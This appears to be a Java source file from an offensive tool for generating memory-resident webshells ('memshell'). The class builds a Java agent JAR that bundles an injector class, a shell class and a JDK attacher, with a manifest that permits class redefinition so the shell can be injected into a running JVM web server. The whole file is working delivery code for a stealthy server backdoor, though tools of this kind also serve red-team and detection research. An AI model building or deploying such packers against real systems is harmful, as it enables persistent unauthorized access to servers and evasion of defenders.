1+ package com .reajason .javaweb .memshell .packer .jar ;
2+
3+ import com .reajason .javaweb .asm .ClassRenameUtils ;
4+ import com .reajason .javaweb .memshell .config .GenerateResult ;
5+ import com .reajason .javaweb .memshell .packer .jar .attach .Attacher ;
6+ import com .reajason .javaweb .memshell .packer .jar .attach .VirtualMachine ;
7+ import com .reajason .javaweb .memshell .utils .CommonUtil ;
8+ import lombok .SneakyThrows ;
9+ import org .apache .commons .io .IOUtils ;
10+ import org .apache .commons .lang3 .StringUtils ;
11+ import org .objectweb .asm .Opcodes ;
12+
13+ import java .io .ByteArrayOutputStream ;
14+ import java .io .File ;
15+ import java .io .FileOutputStream ;
16+ import java .io .InputStream ;
17+ import java .net .URL ;
18+ import java .nio .file .Files ;
19+ import java .nio .file .Path ;
20+ import java .util .Enumeration ;
21+ import java .util .HashMap ;
22+ import java .util .Map ;
23+ import java .util .jar .*;
24+
25+ /**
26+ * @author ReaJason
27+ * @since 2025/1/1
28+ */
29+ public class AgentJarWithJDKAttacherPacker implements JarPacker {
30+ private static Path tempBootPath ;
31+
32+ @ Override
33+ @ SneakyThrows
34+ public byte [] packBytes (GenerateResult generateResult ) {
35+ String packageName = CommonUtil .getPackageName (generateResult .getInjectorClassName ());
36+ String mainClassName = packageName + "." + Attacher .class .getSimpleName ();
37+ Manifest manifest = createManifest (generateResult .getInjectorClassName (), mainClassName );
38+ String relocatePrefix = "shade/" ;
39+
40+ Map <String , byte []> classes = new HashMap <>();
41+ Map <String , byte []> attacherClasses = com .reajason .javaweb .buddy .ClassRenameUtils .renamePackage (Attacher .class , packageName );
42+ Map <String , byte []> virtualMachineClasses = com .reajason .javaweb .buddy .ClassRenameUtils .renamePackage (VirtualMachine .class , packageName );
43+ classes .putAll (attacherClasses );
44+ classes .putAll (virtualMachineClasses );
45+ ByteArrayOutputStream outputStream = new ByteArrayOutputStream ();
46+ try (JarOutputStream targetJar = new JarOutputStream (outputStream , manifest )) {
47+ addDependencies (targetJar , relocatePrefix );
48+ addClassesToJar (targetJar , generateResult , relocatePrefix );
49+ for (Map .Entry <String , byte []> entry : classes .entrySet ()) {
50+ String className = entry .getKey ();
51+ byte [] bytes = entry .getValue ();
52+ targetJar .putNextEntry (new JarEntry (className .replace ('.' , '/' ) + ".class" ));
53+ targetJar .write (bytes );
54+ targetJar .closeEntry ();
55+ }
56+ }
57+ return outputStream .toByteArray ();
58+ }
59+
60+ private Manifest createManifest (String agentClass , String mainClass ) {
61+ Manifest manifest = new Manifest ();
62+ Attributes attributes = manifest .getMainAttributes ();
63+ attributes .putValue ("Manifest-Version" , "1.0" );
64+ attributes .putValue ("Agent-Class" , agentClass );
65+ attributes .putValue ("Premain-Class" , agentClass );
66+ attributes .putValue ("Main-Class" , mainClass );
67+ attributes .putValue ("Can-Redefine-Classes" , "true" );
68+ attributes .putValue ("Can-Retransform-Classes" , "true" );
69+ return manifest ;
70+ }
71+
72+ @ SneakyThrows
73+ private void addDependencies (JarOutputStream targetJar , String relocatePrefix ) {
74+ String baseName = Opcodes .class .getPackage ().getName ().replace ('.' , '/' );
75+ addDependency (targetJar , Opcodes .class , baseName , relocatePrefix );
76+ }
77+
78+ @ SneakyThrows
79+ private void addClassesToJar (JarOutputStream targetJar , GenerateResult generateResult , String relocatePrefix ) {
80+ String dependencyPackage = Opcodes .class .getPackage ().getName ();
81+ // Add injector class
82+ addClassEntry (targetJar ,
83+ generateResult .getInjectorClassName (),
84+ generateResult .getInjectorBytes (),
85+ dependencyPackage ,
86+ relocatePrefix );
87+
88+ // Add shell class
89+ addClassEntry (targetJar ,
90+ generateResult .getShellClassName (),
91+ generateResult .getShellBytes (),
92+ dependencyPackage ,
93+ relocatePrefix );
94+
95+ // Add inner classes
96+ for (Map .Entry <String , byte []> entry : generateResult .getInjectorInnerClassBytes ().entrySet ()) {
97+ addClassEntry (targetJar ,
98+ entry .getKey (),
99+ entry .getValue (),
100+ dependencyPackage ,
101+ relocatePrefix );
102+ }
103+ }
104+
105+ @ SneakyThrows
106+ private void addClassEntry (JarOutputStream targetJar , String className , byte [] classBytes ,
107+ String dependencyPackage , String relocatePrefix ) {
108+ targetJar .putNextEntry (new JarEntry (className .replace ('.' , '/' ) + ".class" ));
109+ byte [] processedBytes = ClassRenameUtils .relocateClass (classBytes , dependencyPackage , relocatePrefix + dependencyPackage );
110+ targetJar .write (processedBytes );
111+ targetJar .closeEntry ();
112+ }
113+
114+ @ SneakyThrows
115+ public static void addDependency (JarOutputStream targetJar , Class <?> baseClass , String baseName , String relocatePrefix ) {
116+ URL sourceUrl = baseClass .getProtectionDomain ().getCodeSource ().getLocation ();
117+ String sourceUrlString = sourceUrl .toString ();
118+ if (sourceUrlString .contains ("!BOOT-INF" )) {
119+ String path = sourceUrlString .substring ("jar:nested:" .length ());
120+ path = path .substring (0 , path .indexOf ("!/" ));
121+ String [] split = path .split ("/!" );
122+ String bootJarPath = split [0 ];
123+ String internalJarPath = split [1 ];
124+ if (tempBootPath == null ) {
125+ tempBootPath = Files .createTempDirectory ("mem-shell-boot" );
126+ unzip (bootJarPath , tempBootPath .toFile ().getAbsolutePath ());
127+ }
128+ sourceUrl = tempBootPath .resolve (internalJarPath ).toUri ().toURL ();
129+ }
130+ try (JarFile sourceJar = new JarFile (new File (sourceUrl .toURI ()))) {
131+ Enumeration <JarEntry > entries = sourceJar .entries ();
132+ while (entries .hasMoreElements ()) {
133+ JarEntry entry = entries .nextElement ();
134+ String entryName = entry .getName ();
135+ if (entryName .equals ("META-INF/MANIFEST.MF" )
136+ || entryName .contains ("module-info.class" )) {
137+ continue ;
138+ }
139+ if (!entry .isDirectory ()) {
140+ try (InputStream entryStream = sourceJar .getInputStream (entry )) {
141+ byte [] bytes = IOUtils .toByteArray (entryStream );
142+ if (StringUtils .isNoneEmpty (relocatePrefix )) {
143+ targetJar .putNextEntry (new JarEntry (relocatePrefix + entryName ));
144+ if (entryName .endsWith (".class" )) {
145+ if (bytes .length > 0 ) {
146+ bytes = ClassRenameUtils .relocateClass (bytes , baseName , relocatePrefix + baseName );
147+ }
148+ } else {
149+ targetJar .putNextEntry (entry );
150+ }
151+ } else {
152+ targetJar .putNextEntry (entry );
153+ }
154+ targetJar .write (bytes );
155+ }
156+ }
157+ targetJar .closeEntry ();
158+ }
159+ }
160+ }
161+
162+ /**
163+ * Extracts a JAR file to a temporary directory
164+ *
165+ * @param jarPath Path to the source JAR file
166+ * @param tempPath Path to the temporary directory
167+ */
168+ @ SneakyThrows
169+ public static void unzip (String jarPath , String tempPath ) {
170+ try (JarFile jarFile = new JarFile (jarPath )) {
171+ Enumeration <JarEntry > entries = jarFile .entries ();
172+ while (entries .hasMoreElements ()) {
173+ JarEntry jarEntry = entries .nextElement ();
174+ File targetFile = new File (tempPath , jarEntry .getName ());
175+
176+ if (jarEntry .isDirectory ()) {
177+ targetFile .mkdirs ();
178+ continue ;
179+ }
180+
181+ targetFile .getParentFile ().mkdirs ();
182+ try (InputStream inputStream = jarFile .getInputStream (jarEntry );
183+ FileOutputStream outputStream = new FileOutputStream (targetFile )) {
184+ IOUtils .copy (inputStream , outputStream );
185+ }
186+ }
187+ }
188+ }
189+ }
0 commit comments